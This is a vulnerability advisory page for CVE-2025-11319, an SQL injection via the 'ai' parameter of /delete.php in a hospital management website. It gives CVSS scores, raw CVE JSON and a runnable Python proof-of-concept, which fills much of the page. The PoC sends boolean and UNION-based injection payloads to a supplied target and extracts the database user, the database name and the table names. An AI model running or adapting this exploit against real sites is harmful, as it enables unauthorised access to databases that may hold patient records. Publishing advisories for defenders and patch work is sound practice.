Security Vulnerability Report
中文
CVE-2025-11319 CVSS 6.3 MEDIUM

CVE-2025-11319

Published: 2025-10-06 04:15:36
Last Modified: 2026-04-29 01:00:02

Description

A weakness has been identified in nahiduddinahammed Hospital-Management-System-Website up to e6562429e14b2f88bd2139cae16e87b965024097. This issue affects some unknown processing of the file /delete.php. This manipulation of the argument ai causes sql injection. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be exploited. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

nahiduddinahammed Hospital-Management-System-Website (所有使用滚动发布的版本,截至commit e6562429e14b2f88bd2139cae16e87b965024097)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11319 - Hospital-Management-System-Website SQL Injection PoC # Vulnerability: SQL Injection in /delete.php via 'ai' parameter # Author: Security Researcher (based on public disclosure) import requests import sys # Target configuration TARGET_URL = "http://target-hospital-website.com" INJECTION_ENDPOINT = "/delete.php" def exploit_sql_injection(target_url, session_cookie=None): """ Exploit SQL injection in the 'ai' parameter of delete.php """ headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } if session_cookie: headers["Cookie"] = session_cookie # Basic boolean-based SQL injection test payload_true = "1' OR '1'='1" payload_false = "1' OR '1'='2" url_true = f"{target_url}{INJECTION_ENDPOINT}?ai={payload_true}" url_false = f"{target_url}{INJECTION_ENDPOINT}?ai={payload_false}" try: # Test boolean-based injection resp_true = requests.get(url_true, headers=headers, timeout=10) resp_false = requests.get(url_false, headers=headers, timeout=10) if resp_true.status_code != resp_false.status_code or len(resp_true.text) != len(resp_false.text): print("[+] Target appears to be vulnerable to SQL injection!") print(f"[+] True response length: {len(resp_true.text)}") print(f"[+] False response length: {len(resp_false.text)}") # UNION-based injection to extract database info union_payload = "1' UNION SELECT 1,user(),database()-- -" url_union = f"{target_url}{INJECTION_ENDPOINT}?ai={union_payload}" resp_union = requests.get(url_union, headers=headers, timeout=10) print(f"[+] UNION injection response status: {resp_union.status_code}") print(f"[+] Response snippet: {resp_union.text[:500]}") return resp_union.text except requests.exceptions.RequestException as e: print(f"[-] Error during exploitation: {e}") return None def extract_tables(target_url, session_cookie=None): """ Attempt to extract table names using information_schema """ headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } if session_cookie: headers["Cookie"] = session_cookie # Extract table names payload = "1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -" url = f"{target_url}{INJECTION_ENDPOINT}?ai={payload}" try: resp = requests.get(url, headers=headers, timeout=10) print(f"[+] Tables extraction response: {resp.text[:1000]}") return resp.text except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = TARGET_URL print(f"[*] Testing SQL injection on: {target}") result = exploit_sql_injection(target) if result: print("[*] Attempting to extract database tables...") extract_tables(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11319", "sourceIdentifier": "[email protected]", "published": "2025-10-06T04:15:35.917", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in nahiduddinahammed Hospital-Management-System-Website up to e6562429e14b2f88bd2139cae16e87b965024097. This issue affects some unknown processing of the file /delete.php. This manipulation of the argument ai causes sql injection. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be exploited. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/mhszed/Report/blob/main/SQL%20Injection%20Vulnerability%20in%20the%20Hospital-Management-System-Website%20Editor.docx", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.327200", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.327200", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.664324", "source": "[email protected]"}]}}